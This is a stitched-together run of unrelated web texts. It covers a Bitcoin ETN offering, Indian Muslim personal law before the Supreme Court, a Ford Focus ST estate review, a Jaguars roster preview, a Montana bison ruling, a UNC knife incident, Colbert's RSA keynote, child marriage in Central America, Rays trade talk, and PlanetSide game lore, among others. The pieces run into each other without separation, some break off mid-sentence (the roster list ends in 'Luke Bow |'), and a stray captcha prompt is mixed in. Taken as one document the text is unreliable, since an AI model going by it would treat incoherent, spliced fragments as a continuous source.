“By adding self-service, online dealing, the team at Hargreaves Lansdown is providing UK investors with professional and quick access to bitcoin in the UK and greater Europe,” Ryan Radloff, XBT’s head of investor relations told the Telegraph.
This follows the recent news that the American financial services corporation, Fidelity Investments, will soon allow their clients the ability to view their cryptocurrency holdings on the Coinbase website.
However, Hargreaves Lansdown, are using a fund offered by a Swedish company, XBT Provider, which is structured as an ETN or exchange-traded note. These funds are listed on the stock exchange meaning Bitcoin can be bought and sold as a share.
“The value of and any amount payable under the certificates will be strongly affected by the performance of Bitcoin and the US dollar/krona exchange rate,” XBT Provider explains. “As such an investment in the certificates is likely to be highly volatile and thus risky.”
In other words, British Bitcoin investors will be exposed to two areas of risk, not just the famous volatility of the cryptocurrency itself, but also to the US dollar/Swedish Krona exchange rate.
Clients Asked to Invest in Bitcoin
Danny Cox, head of communications at Lansdown noted that the decision to add Bitcoin as an investment option was driven in part by customer demand.
Cox:
We have seen a handful of clients asking for the ETN, so it’s not purely driven by a provider wanting to be listed.
This interest, although written off as a handful, demonstrates that the demand must surely have been significant among traditional investors for the company to include it.
Despite the potential risks, Bitcoin has (again) been outperforming every asset and fiat currency in 2017, and smart money is starting to pay attention. This is a major step for Bitcoin towards mainstream adoption and becoming a legitimate asset for traditional finance.
Is Bitcoin finally breaking into mainstream finance? Will other brokers follow suite? Let us know in the comments below!
Images courtesy of Twitter, Shutterstock, moneytothemasses.comOn February 5, 2016, the Jamiat Ulema-i-Hind (JUH, or the Organization of Indian Islamic Scholars) attorney Ejaz Maqbool told the Supreme Court of India that since Muslim personal laws in India originate from the Koran, it cannot be questioned by the SC. The JUH, founded in 1919, is a leading Deobandi network of Islamic clerics across India.
In India, there are no "Muslim personal laws" as such; the reference refers to the existence of some shari'a laws from India's pre-Independence days, under which Indian Muslims marry, divorce, and inherit. These, however, are not codified as laws, meaning that every Indian cleric is in practical terms a judge who can issue orders to Muslims in these three areas.
This lack of clarity in the Indian legal system has led to many problems. Muslim women are divorced arbitrarily by husbands using "triple Talaq," the practice of uttering "Talaq" (divorce) three times. Further, since no such laws exist, Muslim husbands are also forced to divorce under these non-codified shari'a laws, because the Indian courts do not admit divorce applications.
As a result, there is a movement in India for the enactment of the Uniform Civil Code, a goal set by the framers of the Indian Constitution for future governments to enact laws which will apply equally for members of all communities in India. However, the Islamist organizations in India have always opposed any demand for the Uniform Civil Code.
The following are excerpts from an Indian media report on the JUH's statement to the Supreme Court of India that Muslim personal laws flow from the Koran and cannot be scrutinized by the court:
"Jamiat-Ulama-i-Hind, the powerful body of Muslim clerics, has said that Muslim personal law flows from the Holy Koran and cannot be subjected to any scrutiny by the Supreme Court based on principles of the Constitution.
"'Mohammedan law is founded essentially on the Holy Koran and this cannot fall within the purview of the expression "laws in force" as mentioned in Article 13 of the Constitution, and hence its validity cannot be tested on a challenge based on Part-III of the Constitution (guaranteeing fundamental rights, including right to equality),' stated the JUH application, which was filed through advocate Ejaz Maqbool.
"The assertion by the body marks a fierce challenge to the intent to extend the principle to gender equality to Muslim women, and can open a fresh phase in the debate on whether personal laws based on religion can trump the Constitution. The debate will require the... [Indian] government to spell out its stand on the fraught issue.
"Last year, while entertaining a petition, a two-judge bench of Justices A R Dave and Adarsh Goel had directed registration of a separate PIL [public interest litigation application] to consider the rights of Muslim women, as there was no safeguard against arbitrary divorce (triple talaq) and second marriage by Muslim men during... their first marriage. The court had issued notice to the attorney general and National Legal Services Authority (Nalsa).
"On Friday [February 5], a bench of Chief Justice T. S. Thakur and Justices A. K. Sikri and R. Banumathi took up the petition titled 'Muslim Women's Quest for Equality' and agreed to make JUH a party to the proceedings and sought responses from the JUH, the AG [attorney general] and Nalsa on the questions posed by the SC [Supreme Court] in six weeks. The All India Muslim Personal Law Board [a non-governmental Islamist organization] is also expected to request the SC to make it a party in the case.
"The JUH also referred to Article 44, which figures as a provision in the Constitution, providing that the state shall endeavour to secure for the citizens a Uniform Civil Code throughout the territory of India. But the JUH said, 'Article 44 envisaging UCC is only a directive principle and is not enforceable. This article by implication recognizes the existence of different codes applicable to different religions in matters of personal law and permits their continuance until the state succeeds in its endeavour to secure for all citizens a UCC.'
"It said the Muslim Women (Protection of Rights on Divorce) Act, 1986, a legislation brought by the... [Indian] government [at that time] to step around the SC-directed equality in maintenance for Muslim women in the Shah Bano case, provided for the rights of Muslim women in matters of divorce and maintenance. [Shah Bano, a destitute Muslim woman, was awarded alimony by the Supreme Court, but the Indian government at that time appeased the Islamists by bringing in the law to quash the SC order.]"
Source: The Times of India (India), February 6, 2016.Very much like the hatch, in almost all respects bar boot space. And that means it is very good indeed.
The first impression when you climb aboard is just how grown up the cabin feels, which could be quite a surprise given some of the fittings in a low spec standard Focus. On our mid-spec ST2 example the Recaro sports seats were supremely comfortable, the seat and steering wheel had plenty of adjustment and the trims and fittings were of a high quality.
The engine fires with an appealing rumble, and the noise projected in to the cabin (with the aid of an "active sound symposer system") as you go up the revs has a meaty, almost five-pot sound. It goes well, too, pulling energetically and smoothly, gathering noise and pace with more revs. There is only the slightest hint of torque steer, and then it only serves to remind you you are in a car that is a little bit special. The six-speed gearshift is also enjoyably slick.
Steering feel is reasonable, and a quick rack gives the car a great sense of agility. This is aided by two electronic systems – a torque-steer compensator, which uses a motor to feed forces back into the electric power steering system to counter disruption and torque vectoring, which uses the ESP system to brake a lightly loaded inside wheel and pass power to the outside. Throw the car in to a corner and you can feel the electronics intervening, but only rarely and then only to help tuck the nose in. The extra weight off the estate hardly comes in to play.
Our test was on largely smooth motorway, town and mountain roads in southern France, and the ride shone. While it undeniably has a firm edge to it, over the worst bits of rough it soaked up the bumps to a surprising degree. Despite this, any roll and pitch (and there is some) is well controlled. The changes to the rear shock angles do little to change the car's character over the hatch. This really is a performance car you could live with every day.The Jaguars' roster is finally at its 90-man limit.
After adding seven players in the NFL Draft and another 16 in undrafted free agency, the Jaguars have a legitimate offseason roster.
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Let's take a position-by-position look at the group:
Quarterback
Blake Bortles, Chad Henne, Brandon Allen
Kaye's Take: The Jaguars made it clear they are fully behind Bortles on Monday. The team picked up his fifth-year option, but it's only guaranteed for injury. Allen, last year's sixth-round pick, will challenge veteran Chad Henne for the No. 2 gig. Allen winning the competition may make Henne expendable and save the Jaguars some cash.
Running Back
Leonard Fournette, Chris Ivory, T.J. Yeldon, Corey Grant, I'Tavius Mathers, Tim Cook
Kaye's Take: The Jaguars' first-round pick, Fournette, is set to become a legit "bell cow" back. He will be relieved by Ivory for a handful of plays each game. From there, it's kind of a toss up.
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Yeldon has been replaced by Fournette just two years after being selected in the second round. His arrow is trending downward and Grant or one of the undrafted free agents could force him off the roster.
Grant won a job on as undrafted rookie two years ago with his kick returner upside. The Jaguars moved him away from that aspect of special teams and eventually used him as a gunner last season. He had a strong performance in Week 17 last year, putting up 122 rushing yards and a touchdown with just 18 carries.
Grant and Yeldon will be challenged by Mathers and Cook during the offseason program. Mathers is the more impressive of the two and could be a dark horse for the 53-man roster. However, housing a fullback may cut into the running back numbers.
JACKSONVILLE, FL - DECEMBER 24: Chris Ivory #33 of the Jacksonville Jaguars in action during the first half of the game against the Tennessee Titans at EverBank Field on December 24, 2016 in Jacksonville, Florida. (Photo by Rob Foldy/Getty Images)
Fullback
Marquez Williams, Tommy Bohanon
Kaye's Take: The Jaguars want to use a true fullback as a lead blocker for Fournette and Ivory. Jacksonville is going old school and Williams, one of the team's two seventh-round picks, fits that mold. He will compete with Bohanon, a former New York Jets lead blocker, for the fullback gig.
Wide Receiver
Allen Robinson, Allen Hurns, Marqise Lee, Bryan Walters, Arrelious Benn, Dede Westbrook, Rashad Greene, Shane Wynn, Amba Etta-Tawo, Keelan Cole, Jamal Robinson, Larry Pinkard, Kenneth Walker
Kaye's Take: Robinson, Hurns and Lee are the top guys and are locked into roster spots. The team brought back Walters and Benn in free agency and they both bring reliable hands and special teams prowess to the fold. While they aren't locks for the roster, they are certainly favorites for the fourth and fifth spots.
Westbrook, the team's fourth-round pick, will compete with Benn, Walters, Greene, Wynn and others for playing time. The Jaguars are likely to keep six wide receivers, so most of the other competitors are playing for jobs elsewhere or on the practice squad. Of the undrafted free agents, Cole may be the diamond in the rough. He put up bonkers numbers at the Division II level.
Tight End
Marcedes Lewis, Ben Koyack, Mychal Rivera, Neal Sterling, Alex Ellis, Caleb Bluiett
Kaye's Take: Lewis is the elder statesman of the bunch. He is as reliable as a blocker as they come.
The receiving tight end in 12 personnel will likely be a battle between Rivera and Sterling. Rivera has plenty of starting experience, while Sterling showed some ability toward the end of last season.
Koyack is likely to backup Lewis, while also battling for playing time with Sterling and Rivera. Ellis played a bit last season but seems to be an underdog heading into the offseason program. The same can be said for Bluiett, who was signed as an undrafted free agent on Monday.
INDIANAPOLIS, IN - JANUARY 01: Ben Koyak #83 of the Jacksonville Jaguars catches a touchdown pass durling the game against the Indianapolis Colts at Lucas Oil Stadium on January 1, 2017 in Indianapolis, Indiana. (Photo by Andy Lyons/Getty Images)
Offensive Tackle
Branden Albert, Jermey Parnell, Cam Robinson, Josh Wells, Jeremiah Poutasi
Kaye's Take: Albert and Parnell are penciled in as the starters at the tackle positions. However, Robinson is set to face off with Albert for the left tackle job this offseason. The loser of that battle could move to right tackle, which would move Parnell to the bench, or move inside to guard. Either way, both Albert (if he ever shows up) and Robinson are likely to start.
Wells was set up to be the swing tackle over the last two seasons, but thumb injuries have constantly interfered. Perhaps, this will be the offseason he wins the gig. He will battle Poutasi - and potentially Parnell - for that honor.
Offensive Guard
A.J. Cann, Patrick Omameh, Chris Reed, Earl Watford, Luke Bow |
our democracy and create conditions that ensure everyone has a voice – no matter the party. Let’s improve our electoral system with this reform designed for the 21st century. Rhode Island’s future is at stake. More choice; more voice; instant runoff voting is the way to go.
For more information, you may e-mail me at Matthew.Fecteau@gmail.com.
Matt Fecteau
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Always meet in public. Meet for the first time in a populated, public location — never in a private or remote location. ● Tell a friend. Inform a friend or family member of your plans and when and where you're going. If you own a mobile phone, make sure you have it with you.
Tell a friend. Inform a friend or family member of your plans and when and where you're going. If you own a mobile phone, make sure you have it with you. ● Stay sober. Do not do anything that would impair your judgment and cause you to make a decision you could regret.
Stay sober. Do not do anything that would impair your judgment and cause you to make a decision you could regret. ● Drive yourself to and from the first meeting. Just in case things don't work out, you need to be in control of your own ride — even if that means taking a taxi.
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The Montana Supreme Court affirmed the decision of a lower court today, allowing wild bison room to roam outside the northern boundary of Yellowstone National Park. The ruling upholds a February 2012 decision by state agencies to allow bison seasonal access to important winter and early spring habitat outside the north boundary of the park in the Gardiner Basin area until May 1 of each year.
The ruling rebuffs demands by some livestock producers and their allies to require aggressive hazing and slaughtering of bison that enter the Gardiner Basin area from Yellowstone National Park in the winter and early spring in search of the forage they need to survive.
“Today’s state Supreme Court ruling represents a victory for all those who want to see wild bison as a living part of the Montana landscape,” said Earthjustice attorney Tim Preso, who defended the bison policy in the case on behalf of the Bear Creek Council (BCC), Greater Yellowstone Coalition (GYC), and Natural Resources Defense Council (NRDC). “Now that the Court has rejected claims requiring bison to be slaughtered at the park’s boundaries, we can move forward to secure room for wild bison to roam outside of Yellowstone National Park over the long term.”
In two lawsuits filed in May 2011, the Park County Stockgrowers Association, Montana Farm Bureau Federation, and Park County, Montana, sought to block implementation of the new policy and require state officials to adhere to outdated plans for bison hazing and slaughter. Although the plaintiffs in the cases raised concerns about the potential for bison to infect cattle with brucellosis, the only two cattle ranchers operating year-round in the Gardiner Basin did not join the legal challenge.
Bison are the only native wildlife species still unnaturally confined to the political boundaries of Yellowstone National Park for any part of the year. As recently as 2008, more than 1,400 bison—about one-third of the current size of Yellowstone’s bison population—were captured and slaughtered by government agencies while leaving Yellowstone in search of food.You must enter the characters with black color that stand out from the other characters
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— Chapel Hill police took a man into custody late Sunday afternoon following reports of "an armed and dangerous person" that briefly put the campus of the University of North Carolina at Chapel Hill on lockdown.
The UNC Department of Public Safety said police received reports around 4:20 p.m. of a man wielding a knife or knives near a campus courtyard known as The Pit in front of the Frank Porter Graham Student Union.
The man then took off north toward Franklin Street, where officers took him into custody about 45 minutes later in a church parking lot near the intersection of East Franklin Street and Raleigh Road.
UNC police have neither identified the man nor said whether he is affiliated with the university or why he might have been on campus.
Karlton Suits, an employee at Alpine Bagel Café, inside the Student Union, said he saw the man acting strangely and then arguing with a student before pull out two knives and screaming, "Get out."
Suits said the man then followed the student outside near The Pit to a dining hall, where two other people confronted him.
That's when, Suits said, the man took off.
Video showed police taking into custody a man with long brown or blond hair who appears to be in his 20s or early 30s. He was wearing a gray striped long-sleeve shirt and dark pants.
Chapel Hill police say they are also investigating whether a reported attack around 9:30 p.m. Saturday might be related.
In that case, UNC student Peter Diaz said the man sat next to him and a friend at the bar at Old Chicago Pizza & Taproom on West Franklin Street.
When they left, Diaz said, the man picked up his beer and darted out in front of them outside the restaurant and pulled out a switchblade.
"He flicked his switchblade and said, 'You better keep walking,'" Diaz said Sunday night. "We had never talked to this man, had no idea what happened."
Sunday's knife sighting prompted UNC to activate its Alert Carolina emergency system, which included notifying students, faculty and staff via text and email as well as activating sirens across campus.
Those on campus were advised to seek shelter immediately and close and lock doors and windows.
That alert was lifted shortly after 5:15 p.m.
In an email to the university community Sunday night, UNC Chancellor Carol Folt praised campus police for its quick response in notifying the university community.
"Today was a vivid reminder of the importance of preparation and following the instructions of our campus safety officials when we think there is a risk to our campus community," Folt said. "I appreciate the way all of you look out for each other's safety and welfare. We will always learn from these events in order to make Carolina as safe as it can be."Stephen Colbert delivered his somewhat controversial keynote speech at the annual RSA security conference Friday, and took the opportunity to lambast the NSA, Edward Snowden, and Mt. Gox, and launch his own "Cloud Fog" security service. "We can trust the NSA," explains Colbert, "because without a doubt it is history's most powerful, pervasive, sophisticated surveillance agency ever to be totally pwned by a 29-year-old with a thumb drive." The full keynote isn't yet available at RSA's website, but YouTube is full of excerpts uploaded by attendees.
Playing his typical faux-right character, Colbert moves his attentions to Edward Snowden, saying the whistleblower should face espionage charges for taking security secrets to Russia; "Was Mordor not accepting asylum requests?" He then pokes fun at Snowden's Nobel Peace Prize nomination. "The guy's practically a war criminal," he jokes, "I don't understand how they could put him up for the same prize they once gave to Henry Kissinger."
The comedian's appearance was criticized by some who attempted to boycott the conference following Reuters' allegations that RSA was paid $10 million to intentionally add a backdoor to its encryption. CNN and CNET report Colbert defended his decision to appear at the conference, noting that there was "no evidence" in Reuters' article. "I looked at the signatures on the online petition, then I looked at the signature — my signature — on the bottom of the contract saying I’d be here today, and my conscience was clear, as long as the check clears," Colbert said. "Well, it’s not actually a check. They gave me a Bitcoin voucher from Mt. Gox, and I’m sure it’s going to be fine."9 September 2016 | organicsocial
9 | A Monumental Piece Of History That Ripples Through Generations
What is a society that knows the price of a man but not his worth as a human being? Probably that's the irony of being an industrial civilization. While it aims to improve the status of mankind, it also requires lot of labour. The cheaper it is, the better. That's where slavery comes into the picture. Slavery is a function of economics alone. Race, colour etc. are merely justifications for it. It's ultimately the conflict between empowered and the weak. Free State Of Jones puts it quite succinctly and with absolute conviction. There's no ifs and buts that blur the issue of freedom. It doesn't try to distract us with metaphors and confusing moralities. Its very clear in intention, much like Newton Knight, who's life this movie is based on.
Free State of Jones is a very entertaining film for its performances. Mathew McConaughey is often joked about for his intense style but in this role is where you can see why he's an Academy Award winner. Never mind those impersonations of him. He is John Woodroof, he is Newton Knight. There are also very astute performances from Gugu Mbatha-Raw and Mahershala Ali. It has a slew of characters like in any historical drama but thankfully all are in proper proportions. No wonder it comes from the director of The Hunger Games! Another striking quality of the movie is the soundtrack. Use of traditional as well as original songs bring a noticeable gravity to the narrative.
Apart from the brilliant cinematography and direction, this movie has a unique perspective to dealing with a subject as sensitive as this. It transcends the time and period when this story takes place. While the main thread of the narration tells the legendary story of Knight who goes absconding from confederate army and later creates the Free State of Jones in the midst of raging American Civil War, the other thread follows his great-great-great grandson Davis Knight undergoing trial for mixed-race marriage. Yes, even after 85 years, it was still an issue. When you watch it, you'll find the ridiculousness of it, all the more blatant. Well, this review does not mean to judge the laws of the land nor the way of life of the society. However, if at all you are concerned about the historical accuracy of the film then you should know that its one of the very few period dramas that carries this impressive a list of academic consultants to its credit.
The story of the Free State of Jones is not merely fascinating. It's a glorious story of a glorious man. Much like his namesake who discovered theory of Gravity, Newton Knight discovers something about man. You may understand why it could be discomforting to watch if not with an open mind. It is a jab at the ages of segregationist politics, but unlike most films with liberal agendas, it is not cryptic and morose. Its too direct. Too simple to fathom. It doesn't paint Newton Knight as the saviour but only as a hero that he is. He is as deceived and victimized by the system as everyone else. Only difference is that he had an idea way ahead of his times and he had a chance to implement it. Nature was in favour of the man and even when the times were exceptionally odd for his principles to find ground, he endured. Newton Knight went on to live to a ripe old age of 84 which in itself is astonishing in the 1800s. Thank you Gary Ross for sharing this incredible story on silver screen. Too bad it didn't do well commercially.Teenagers are marrying gang members and older men as a form of protection from violence
BOGOTA, June 5 (Thomson Reuters Foundation) - Rampant gang violence and drug turf wars in parts of Central America are fuelling child marriage as girls seek to marry or couple with gang members and older men as a form of protection, researchers say.
Traditionally child marriage has been most prevalent among indigenous communities in rural areas across Central America.
But humanitarian groups working in El Salvador, Guatemala, and Honduras, say anecdotal evidence gathered in the past five years shows drug-fuelled gang violence and organised crime is driving more girls to get married in cities.
"We are seeing and hearing that increasing numbers of girls are getting married and coupled to seek protection from gang violence and intimation from gangs," said Amanda Rives, Latin America advocacy director for the charity World Vision.
"Being in a couple with a gang member may give the girl and her family some level of protection from one gang, but may leave them more vulnerable to rival gangs," she told the Thomson Reuters Foundation in a telephone interview.
In El Salvador and Honduras - countries with the world's highest murder rates - entire city neighbourhoods are controlled by powerful street gangs, known as maras.
In May alone, El Salvador recorded 594 murders, believed to be the deadliest month since the country's civil war ended in 1992.
The letters "MS" of the Mara Salvatrucha and graffiti of rival gang Barrio 18 is scrawled on buildings, marking gang territory. The gangs impose control through extortion, sexual violence, threats, killings and forced recruitment of children.
"Having a partner in a gang can be perceived as something that is much safer than being on the street alone. Girls do it out of fear," said Alejandra Colom, senior programme director at the Population Council in Guatemala.
Although there is scant data on the impact of gang violence and child marriage, it may be seen as a form of protection.
"Dating the top dog, whether it's the guy on the soccer team or the leader of the gang, gives a girl some status and this is related to protection and relative - and temporary - power," Colom said.
Child marriage in Central America is also fuelled by sexual violence at home, often at the hands of relatives and stepfathers, which drives girls to seek refuge with older men.
"Sexual violence against girls in the home causes many girls to want to leave home," said Ana Elena Badilla, an adviser on gender and youth at the United Nations Population Fund.
Worldwide, some 15 million girls are married off each year, depriving them of education and opportunities, and child marriage is most prevalent in South Asia and sub-Saharan Africa.
Campaigners say child marriage increases the chance of childbirth complications and child brides are more likely to be victims of sexual and domestic abuse.
While most Latin American countries ban marriage until 18, children can get married at a younger age with the permission of parents or a judge. In Guatemala, for example, under such exceptions girls can get married aged 14, while boys at 16.
(Reporting By Anastasia Moloney, editing by Ros Russell; Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, women's rights, trafficking, corruption and climate change. Visit www.trust.org)
Our Standards: The Thomson Reuters Trust Principles.ST. PETERSBURG — As most of the Rays reassembled at the Trop on Thursday for an optional workout after what their bosses hope was a cleansing All-Star break, manager Kevin Cash delivered the opening stanza of what for at least the next few weeks will be their mantra:
They still have some things to play for.
As impossible as it looks after losing 22 of 25 and dropping to 34-54, they have to believe — or at least say they believe — they can still find a way to get back in the playoff race. Competitiveness — not to lose 100 games, not to finish last — should be a motivating factor. Personal pride, even stats, as well.
But for a handful, and maybe up to a half-dozen, it's legitimately possible they are playing for the chance to play more meaningful games elsewhere.
Welcome to the vortex of baseball's trade rumors over the next 18 days.
The Rays' predicament presents more promising possibilities for contenders than perhaps any other team, as they are a squad with a bad record that has a fair amount of good players, most of whom are extremely affordable and eminently available.
Interest has been excessive, with two-thirds, maybe three-fourths of the roster already asked about — starters, relievers, infielders, outfielders. Some talks are advanced enough that one more phone call could seal a deal, and you can be sure president of baseball operations Matt Silverman is keeping his battery charged. Expect an extreme amount of speculation, with a good chance for some, and maybe a lot, of action.
Though the Rays never say never, a few players are at least very, very unlikely to be dealt: Gold Glove centerfielder Kevin Kiermaier, rookie starting prospect Blake Snell, franchise cornerstone Evan Longoria, who, by the way, says he has no interest in going anywhere.
Chris Archer is probably in the group as well, as much for his team-friendly contract ($18.5 million total for 2017-19, options for $9 million, $11 million), as the potential to recapture his 2015 form and presence, though the right package could be alluring.
Otherwise, the Rays are very much open for business.
And that call sheet most days starts with their starting pitchers.
The Rays are ready to deal, taking advantage of the lack of depth on the pitching market, enticing teams with the chance to get a couple of extra starts. Though there might be a surcharge, they would deal with their AL East rivals as well.
Matt Moore and Jake Odorizzi have been talked the most about, and are the most likely to go. Probably one, maybe both.
There seems to be a fair discussion over who has more value and thus would bring more in trade. Ideally, the Rays could get two really good (though not elite) prospects or young major-leaguers for each. Age and experience level are negotiable, positions a little less so as they seem set at third with Longoria and first and shortstop with prospects for the near term. A catcher might be nice. Heck, maybe a couple.
For what it's worth, both Moore and Odorizzi seem a safer bet than Drew Pomeranz, for whom the Red Sox on Thursday gave up their top young pitching prospect. And there are plenty of teams, starting with the Rangers, who need help.
An evaluator from one outside team says Odorizzi offers more consistency over the long term, though he has been inconsistent this season. Another says Moore, despite the Tommy John zipper on his left elbow, has higher upside, and has been pitching the best for the past month.
The Rays would seem more motivated to trade Moore based on his contract status, options of $7 million, $9 million and $10 million over the next three seasons. But Odorizzi, who will be arbitration eligible for the first of three times next season, could end up making around $20 million, so the gap isn't as large.
As poorly as Drew Smyly has pitched, he, too, has been talked about. Teams are always confident they can "fix" players, and he was pretty good to finish last season and to start this one.
Who else?
Infielder Steve Pearce, expected back from a hamstring injury next week, has broad cache given his bat, versatility and one-year deal, so they might as well get something for him.
First baseman Logan Morrison could fill a hole somewhere. Shortstop Brad Miller has appeal to a team looking for left-handed pop. Erasmo Ramirez's versatility to start or relieve makes him enticing. And, depending on your size and style, the Rays can offer outfielders from Desmond Jennings on the low end to steady Brandon Guyer to enigmatic and high upside Steven Souza Jr.
As usual, the Rays aren't in a position where they have to make a deal. And they won't unless it's the proper return, knowing the market for starters will be thin in the off-season, so they can hold their arms and deal then.
But something seems different this time. Expect more than just talk.
Marc Topkin can be reached at [email protected]. Follow @ TBTimes_Rays.Allan Fonseca, who wrestles under the name Alex 'The Aztec Warrior' Cruz
Allan Fonseca, who wrestles under the name Alex 'The Aztec Warrior' Cruz (Photo courtesy Allan Fonseca)
It was an idea hatched during a haircut. Jude Noote, an Arabi-born businessman, overheard Chalmette native Allan Fonseca discussing his pro wrestling career in a barbershop. The next thing you know, the partners had arranged to bring the once-popular sport back to St. Bernard Parish where it's been unseen for several years. For Noote and Fonseca, it's a dream come true.
"The stars aligned; the dominos lined up." Noote, 29, said of the accidental meeting and its result.
Fonseca, who is a sergeant in the National Guard stationed at Jackson Barracks, has a slightly misaligned nose. The misalignment was born during a bout, he explained. Fonseca, who wrestles under the name Alex "The Aztec Warrior" Cruz, was executing a high-flying move called an "Up and Over," when his rapidly descending nose accidentally intersected his opponent's rock-solid forehead.
Fonseca, 26, was introduced to pro wrestling at age 5 via his grandmother, who was a devoted fan of the televised sport. Once he laid eyes on Sting, a flamboyant, feuding, superstar wrestler with macabre facial makeup, he was hooked for life.
"It's way more than just a wrestling show to me," Fonseca said of Saturday's event. "This has so much more sentimental value."
Allan Fonseca, who wrestles under the name Alex 'The Aztec Warrior' Cruz, in action (Photo by FTM Photography, courtesy Allan Fonseca)
He surely speaks for many St. Bernard natives. Wrestling was a downriver passion during the 1970s through the 1990s.
Back then, Noote explained, the St. Bernard Civic Center was a major stop in the Mid-South Wrestling circuit. "It was pretty much as big as you could get at the time," he said of the popularity of the sport.
Whole families attended the matches, where regional stars such as "Cowboy" Bill Watts, Dusty Rhodes, Ted Dibiase, and everyone's favorite, The Junkyard Dog, thundered heroically around the ring.
Eventually, Noote explained, the old-fashioned independent wrestling tours faded with the rise of big-time, big-money producers, topped by the WWE, which he calls a "monster machine."
WrestleMania XXX: Daniel Bryan wins WWE world heavyweight title Immediate wrestling/entertainment updates, descriptions of the Superdome scene and acute cultural commentary.
It's been at least five years since there was any sort of pro wrestling production in St. Bernard, Fonseca said.
Noote argues that old-school indy wrestling might lack the marquee television athlete/entertainers and the glitz, but it remains "the truest, most pure form of the art, and it is an art, what wrestlers do."
And now that art is returning to Chalmette.
Jude Noote and Allan Fonseca (Photo courtesy Allan Fonseca)
Saturday's event, titled "All or Nothing," will feature Jax "Godzilla" Dane, Xtian Blake, Mustang Mike, Dark Fury, Korey Konstantine, Purple Haze, Psycho Cowboy Benny Factor, Minotaur, The Abbey Street Boot Boys, Locura, and, of course, Alex "The Aztec Warrior" Cruz.
The Aztec Warrior laughingly warns opponents that his grandma will be in the audience. She can get emotional, he said. She has been known to threaten to climb into the ring herself to exact revenge if anyone harms her grandson.
Doors open at 6, matches start at 7, at The Val Riess Sports Complex 1101 Magistrate St. Tickets are $10 at the door.
Twenty-five percent of all ticket sales will be donated to the family of Leonel Melendez from Metairie, who was wounded during the Orlando Pulse nightclub shooting in July, to help with medical costs during his recovery.
Fans may also donate food and clothing to be delivered to Louisiana Flood of 2016 victims in the Denham Springs area.Some of John McCain’s most visible and engaged advisers have advanced positions that appear to conflict with the Arizona senator’s stances on hot-button topics. McCain’s cacophonous Cabinet
Republican faithful have grumbled in recent weeks about the lack of a consistent message from John McCain’s campaign on key issues, leading observers to wonder what McCain’s top advisers are thinking.
The answer, it turns out, could be part of the problem.
Story Continued Below
Some of McCain’s most visible and engaged advisers have advanced positions that appear to conflict with the Arizona senator’s stances on hot-button topics ranging from climate change and oil drilling to tax cuts, contraception and education.
Of course, it’s not unusual for politicians to seek advice from a variety of perspectives.
But the ideological mishmash in McCain’s Kitchen Cabinet lends itself to questions about who’s crafting the campaign’s message and highlights the tricky policy record McCain is struggling to navigate on the campaign trail.
McCain has staked out an eclectic and occasionally politically inconvenient hodgepodge of policy positions that has bucked the Republican line on some issues, backed it on others and — on still others — gone from bucking it to backing it. Keeping him on message would be a challenge for the most unified chorus of advisers — and Team McCain is hardly that.
His campaign spokesman, Taylor Griffin, challenged the extent of policy differences between McCain and his staff and informal advisers. But Griffin also said McCain “seeks advisers that provide a broad range of perspectives. The one thing they all agree on is that John McCain has the experience and leadership to put our economy back on track, bring real reform to Washington and keep the American people safe.”
To be fair, McCain’s Democratic rival, Barack Obama, also has dissenters in his inner circle.
Obama opposes plans to store nuclear waste at Nevada’s Yucca Mountain, yet he signed a top energy adviser who worked to implement Yucca plans. And Obama backs a second stimulus package initially opposed by one of his top economic advisers. But, aside from the embarrassing revelation that another economic adviser told Canadian officials to ignore Obama’s tough talk on trade deals, Obama’s campaign has mostly been able to avoid high-profile policy contradictions between its central staff and its candidate.
That’s a testament to Obama’s messaging, which has been more tightly controlled than McCain’s. But it’s also probably attributable in part to Obama’s aversion during his relatively short career in public service to taking stark stances on controversial issues.
Over his long career, McCain has been out front on a number of controversial issues — and his occasional penchant for heretical stances that diverge from GOP orthodoxy is put in sharper relief through his differences with some of his key advisers.
Take energy and the environment.
McCain was one of the first national Republicans to embrace climate change as a political issue. And his stance still galls some conservatives, including a nonprofit organization headed until February 2006 by Nancy Pfotenhauer, now a senior energy and economic adviser to the McCain campaign.
The small-government group she ran, Americans for Prosperity, decries “global warming alarmism” and opposes emissions cap-and-trade proposals such as those McCain has supported. She also wrote an op-ed in 2002 warning that increasing Corporate Average Fuel Economy standards would result in lighter, less safe cars “that will almost inevitably increase fatalities on our nation’s roads.” She accused politicians seeking to raise CAFE standards — a group that currently includes McCain — of pandering to “environmental special interest groups.”
But in a campaign conference call with bloggers last week, Pfotenhauer defended McCain’s cap-and-trade plan and efforts to reduce carbon emissions. She also reiterated his opposition to drilling for oil in the Arctic National Wildlife Refuge, though last month McCain himself indicated a willingness to reconsider it.An excerpt from a New Conglomerate intelligence report:
"...our infiltrators have returned from Forseral. They managed to steal blueprints from the Terran Republic. We don't know how the TR were able to design it, but it looks as if they are developing a method to cloak a flying transport vehicle. With the amount of energy required to keep a craft airborne, we thought it physically impossible to bend light enough to cloak it as well, but with these designs...it might work. The TR are calling it the "Phantasm".
Also among these blueprints is another design...it looks similar to the Galaxy, and yet somehow different. It's more like a giant battleship than a transport craft. In the hands of the TR, this kind of firepower could be devastating. I do not doubt that the VS spies have also taken advantage of the recent leak in TR security; they probably have the designs as well. We must begin training our soldiers to use this equipment as soon as possible. Our engineers have already started production...we must finish before the opposing factions are able to use them against us.
The strangest thing about all of this is the fact that these blueprints were in TR possession. I would expect something like this from the Vanu Sovereignty, but the Terran Republic are narrow-minded fools that only think of suppression using our current technology. Also strange are these symbols found all over the blueprints; they are like nothing I've ever seen before. Shaped like 3 curved blades around a central hub with cyan coloring...what could it mean..."
Taken from a Vanu Sovereignty science report, only one day later:
"...don't understand. The entire lattice has shifted. Our home worlds, Esamir and Amerish, are gone, lost to the heathens that call themselves the New Conglomerate. And we find our own sanctuary linked to the homelands of our Terran repressors, Forseral and Ceryshen. We can only logically assume they have taken control of the former NC territories Solsar and Hossin.
This change in the lattice can sometimes be observed as a natural phenomenon of Auraxis. The Auraxian system clearly has a mind of its own and has been known to shift before, but somehow...it is different this time. The readings are not the same. Information from our stellar cartography department shows that this time there has been some form of external tampering with the lattice!
We believed ourselves to be the most technologically advanced of the three factions, but after we were given the documents for these new flying aircraft...we must concede that there may be a faction with an even greater understanding than ours...but the Terran Republic? It is hard to believe. We have ruled out that they are capable of such a change, so it must be something else. Could this be related to the symbols on the blueprints? More research needs to be done.
Regardless, the fact remains that we now stand on unfamiliar ground. We can be reasonably sure that this is not the end of these strange occurrences. Something is coming. I can feel it..."
